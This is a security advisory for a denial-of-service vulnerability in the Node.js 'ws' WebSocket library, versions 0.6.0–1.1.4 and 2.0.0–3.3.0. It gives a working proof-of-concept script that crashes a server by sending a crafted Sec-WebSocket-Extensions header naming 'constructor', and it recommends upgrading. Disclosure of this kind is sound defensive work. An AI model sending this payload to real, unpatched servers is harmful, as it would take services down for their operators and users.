Vulnerability GHSA-5v72-xg48-5rpm

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
7 years ago
June 04, 2019 at 07:37 PM UTC
Denial of Service in ws
0.6.0 - 1.1.4 and 2.0.0 - 3.3.0
0.6.0 - 1.1.4 and 2.0.0 - 3.3.0

Summary

Denial of Service in ws

Details

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Impacted packages

Timeline

Published
7 years ago
June 04, 2019 at 07:37 PM UTC
Fixed (1.1.5)
9 years ago
November 08, 2017 at 04:55 PM UTC
Fixed (3.3.1)
9 years ago
November 08, 2017 at 04:58 PM UTC
Last Modified
4 months ago
July 17, 2026 at 06:45 PM UTC